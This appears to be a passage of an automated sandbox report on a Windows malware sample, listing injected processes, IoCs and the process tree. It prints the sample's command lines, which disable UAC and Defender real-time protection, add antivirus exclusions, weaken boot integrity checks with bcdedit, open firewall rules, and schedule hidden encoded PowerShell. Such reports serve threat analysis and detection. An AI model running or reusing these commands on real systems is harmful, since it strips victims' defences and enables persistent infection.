file.exeAddInProcess32.exepowershell.exePP6QxrATY2iSoQm3tJYXaKXj.execsrss.exepowershell.EXEreg.exepowershell.EXEsc.exepowershell.EXE

description	pid	process
Token: SeDebugPrivilege	2648	file.exe
Token: SeDebugPrivilege	2288	AddInProcess32.exe
Token: SeDebugPrivilege	1216	powershell.exe
Token: SeDebugPrivilege	1164	PP6QxrATY2iSoQm3tJYXaKXj.exe
Token: SeImpersonatePrivilege	1164	PP6QxrATY2iSoQm3tJYXaKXj.exe
Token: SeSystemEnvironmentPrivilege	1600	csrss.exe
Token: SeDebugPrivilege	1624	powershell.EXE
Token: SeDebugPrivilege	2416	reg.exe
Token: SeDebugPrivilege	1968	powershell.EXE
Token: SeSecurityPrivilege	2884	sc.exe
Token: SeSecurityPrivilege	2884	sc.exe
Token: SeDebugPrivilege	880	powershell.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Broom.exe

pid process

2932 Broom.exe

pid	process
2932	Broom.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeAddInProcess32.exeQ6idzvrRm8yDJWY1oN9oO6fM.exeAppLaunch.exePP6QxrATY2iSoQm3tJYXaKXj.execonhost.exe

description	pid	process	target process
PID 2648 wrote to memory of 1216	2648	file.exe	powershell.exe
PID 2648 wrote to memory of 1216	2648	file.exe	powershell.exe
PID 2648 wrote to memory of 1216	2648	file.exe	powershell.exe
PID 2648 wrote to memory of 1216	2648	file.exe	powershell.exe
PID 2648 wrote to memory of 2420	2648	file.exe	CasPol.exe
PID 2648 wrote to memory of 2420	2648	file.exe	CasPol.exe
PID 2648 wrote to memory of 2420	2648	file.exe	CasPol.exe
PID 2648 wrote to memory of 2420	2648	file.exe	CasPol.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2648 wrote to memory of 2288	2648	file.exe	AddInProcess32.exe
PID 2288 wrote to memory of 3008	2288	AddInProcess32.exe	Q6idzvrRm8yDJWY1oN9oO6fM.exe
PID 2288 wrote to memory of 3008	2288	AddInProcess32.exe	Q6idzvrRm8yDJWY1oN9oO6fM.exe
PID 2288 wrote to memory of 3008	2288	AddInProcess32.exe	Q6idzvrRm8yDJWY1oN9oO6fM.exe
PID 2288 wrote to memory of 3008	2288	AddInProcess32.exe	Q6idzvrRm8yDJWY1oN9oO6fM.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 3008 wrote to memory of 1076	3008	Q6idzvrRm8yDJWY1oN9oO6fM.exe	AppLaunch.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 1076 wrote to memory of 828	1076	AppLaunch.exe	dialer.exe
PID 2288 wrote to memory of 1164	2288	AddInProcess32.exe	PP6QxrATY2iSoQm3tJYXaKXj.exe
PID 2288 wrote to memory of 1164	2288	AddInProcess32.exe	PP6QxrATY2iSoQm3tJYXaKXj.exe
PID 2288 wrote to memory of 1164	2288	AddInProcess32.exe	PP6QxrATY2iSoQm3tJYXaKXj.exe
PID 2288 wrote to memory of 1164	2288	AddInProcess32.exe	PP6QxrATY2iSoQm3tJYXaKXj.exe
PID 2156 wrote to memory of 880	2156	PP6QxrATY2iSoQm3tJYXaKXj.exe	conhost.exe
PID 2156 wrote to memory of 880	2156	PP6QxrATY2iSoQm3tJYXaKXj.exe	conhost.exe
PID 2156 wrote to memory of 880	2156	PP6QxrATY2iSoQm3tJYXaKXj.exe	conhost.exe
PID 2156 wrote to memory of 880	2156	PP6QxrATY2iSoQm3tJYXaKXj.exe	conhost.exe
PID 880 wrote to memory of 1968	880	conhost.exe	powershell.EXE
PID 880 wrote to memory of 1968	880	conhost.exe	powershell.EXE
PID 880 wrote to memory of 1968	880	conhost.exe	powershell.EXE
PID 2156 wrote to memory of 1600	2156	PP6QxrATY2iSoQm3tJYXaKXj.exe	csrss.exe
PID 2156 wrote to memory of 1600	2156	PP6QxrATY2iSoQm3tJYXaKXj.exe	csrss.exe
PID 2156 wrote to memory of 1600	2156	PP6QxrATY2iSoQm3tJYXaKXj.exe	csrss.exe
PID 2156 wrote to memory of 1600	2156	PP6QxrATY2iSoQm3tJYXaKXj.exe	csrss.exe
PID 2288 wrote to memory of 2060	2288	AddInProcess32.exe	mpCMu2Abv6Jud4QpiyO79VPr.exe
PID 2288 wrote to memory of 2060	2288	AddInProcess32.exe	mpCMu2Abv6Jud4QpiyO79VPr.exe
PID 2288 wrote to memory of 2060	2288	AddInProcess32.exe	mpCMu2Abv6Jud4QpiyO79VPr.exe
PID 2288 wrote to memory of 2060	2288	AddInProcess32.exe	mpCMu2Abv6Jud4QpiyO79VPr.exe
PID 2288 wrote to memory of 2060	2288	AddInProcess32.exe	mpCMu2Abv6Jud4QpiyO79VPr.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

file.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file.exe
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1260

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
2⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2648

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\file.exe" -Force
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1216

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
3⤵
PID:2420

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
3⤵
- Drops startup file
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2288

C:\Users\Admin\Pictures\Q6idzvrRm8yDJWY1oN9oO6fM.exe
"C:\Users\Admin\Pictures\Q6idzvrRm8yDJWY1oN9oO6fM.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3008

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1076

C:\Users\Admin\Pictures\PP6QxrATY2iSoQm3tJYXaKXj.exe
"C:\Users\Admin\Pictures\PP6QxrATY2iSoQm3tJYXaKXj.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Users\Admin\Pictures\PP6QxrATY2iSoQm3tJYXaKXj.exe
"C:\Users\Admin\Pictures\PP6QxrATY2iSoQm3tJYXaKXj.exe"
5⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2156

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
6⤵
PID:880

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Manipulates WinMon driver.
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\system32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
7⤵
PID:2020

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:2160

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
8⤵
- Modifies boot configuration data using bcdedit
PID:1464

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
8⤵
- Modifies boot configuration data using bcdedit
PID:896

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
8⤵
- Modifies boot configuration data using bcdedit
PID:1288

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
8⤵
- Modifies boot configuration data using bcdedit
PID:1812

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
8⤵
- Modifies boot configuration data using bcdedit
PID:1692

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
8⤵
- Modifies boot configuration data using bcdedit
PID:1392

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
8⤵
- Modifies boot configuration data using bcdedit
PID:1556

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
8⤵
- Modifies boot configuration data using bcdedit
PID:928

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
8⤵
- Modifies boot configuration data using bcdedit
PID:1744

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
8⤵
- Modifies boot configuration data using bcdedit
PID:364

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
8⤵
- Modifies boot configuration data using bcdedit
PID:1716

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
8⤵
- Modifies boot configuration data using bcdedit
PID:2612

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
8⤵
- Modifies boot configuration data using bcdedit
PID:296

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1700

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
7⤵
- Creates scheduled task(s)
PID:3036

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
7⤵
- Executes dropped EXE
PID:2356

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
7⤵
- Modifies boot configuration data using bcdedit
PID:2420

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
7⤵
- Creates scheduled task(s)
PID:1636

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
7⤵
- Executes dropped EXE
PID:1572

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
8⤵
PID:2532

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
9⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:2884

C:\Users\Admin\Pictures\mpCMu2Abv6Jud4QpiyO79VPr.exe
"C:\Users\Admin\Pictures\mpCMu2Abv6Jud4QpiyO79VPr.exe" --silent --allusers=0
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2060

C:\Users\Admin\Pictures\ePks4tOyb6kFpVaznzEaevXx.exe
"C:\Users\Admin\Pictures\ePks4tOyb6kFpVaznzEaevXx.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2192

C:\Users\Admin\AppData\Local\Temp\Broom.exe
C:\Users\Admin\AppData\Local\Temp\Broom.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2932

C:\Users\Admin\AppData\Local\Temp\nsdC6EA.tmp.exe
C:\Users\Admin\AppData\Local\Temp\nsdC6EA.tmp.exe
5⤵
PID:1964

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nsdC6EA.tmp.exe" & del "C:\ProgramData\*.dll"" & exit
6⤵
PID:704

C:\Users\Admin\Pictures\cYUuoqy9hy98xhXuwWJMqFc3.exe
"C:\Users\Admin\Pictures\cYUuoqy9hy98xhXuwWJMqFc3.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2972

C:\Users\Admin\AppData\Local\Temp\7zSE437.tmp\Install.exe
.\Install.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1568

C:\Users\Admin\AppData\Local\Temp\7zSE80E.tmp\Install.exe
.\Install.exe /mPdidlcN "385118" /S
6⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
PID:2520

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
7⤵
PID:2752

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
8⤵
PID:2424

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
9⤵
PID:2608

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
9⤵
PID:1876

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
7⤵
PID:2792

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
8⤵
PID:1508

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
9⤵
PID:2576

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
9⤵
PID:704

C:\Windows\SysWOW64\timeout.exe
timeout /t 5
10⤵
- Delays execution with timeout.exe
PID:2752

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gxbimFBDC" /SC once /ST 00:35:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
7⤵
- Creates scheduled task(s)
PID:3040

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gxbimFBDC"
7⤵
PID:2836

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gxbimFBDC"
7⤵
PID:1992

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bEyYKbsuUozdEyKwWq" /SC once /ST 01:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF\rWZwyvlULFiFahc\PRoZObv.exe\" vP /Aqsite_idEoW 385118 /S" /V1 /F
7⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1952

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:828

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231210010441.log C:\Windows\Logs\CBS\CbsPersist_20231210010441.cab
1⤵
- Drops file in Windows directory
PID:2116

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
1⤵
- Modifies Windows Firewall
PID:1968

C:\Windows\system32\taskeng.exe
taskeng.exe {A649900F-7C32-4612-8596-1271037DC29F} S-1-5-21-2952504676-3105837840-1406404655-1000:URUOZWGF\Admin:Interactive:[1]
1⤵
PID:2936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:2416

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1308

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1968

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:880

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2856

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2676

C:\Windows\system32\taskeng.exe
taskeng.exe {D6EB4151-217E-4372-B9AC-009214A5329D} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:320

C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF\rWZwyvlULFiFahc\PRoZObv.exe
C:\Users\Admin\AppData\Local\Temp\ZhTQaFaBDmtyfHbtF\rWZwyvlULFiFahc\PRoZObv.exe vP /Aqsite_idEoW 385118 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:904

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gyHyDhwor" /SC once /ST 00:09:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:2664

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gyHyDhwor"
3⤵
PID:1692

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gyHyDhwor"
3⤵
PID:1836

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gIFjDAkEe" /SC once /ST 00:42:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1160

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gIFjDAkEe"
3⤵
PID:1704

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:312

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:2944

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gIFjDAkEe"
3⤵
PID:2380

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1072

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2064

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3056

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2484

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2080

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1164

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2056

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gCqgzsIdJleQZgeU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2672

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\gCqgzsIdJleQZgeU\UpMWsZeF\ukvrNzVNtbXIoeOB.wsf"
3⤵
PID:2948

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\gCqgzsIdJleQZgeU\UpMWsZeF\ukvrNzVNtbXIoeOB.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1664

C:\Windows\SysWOW64\reg.exe
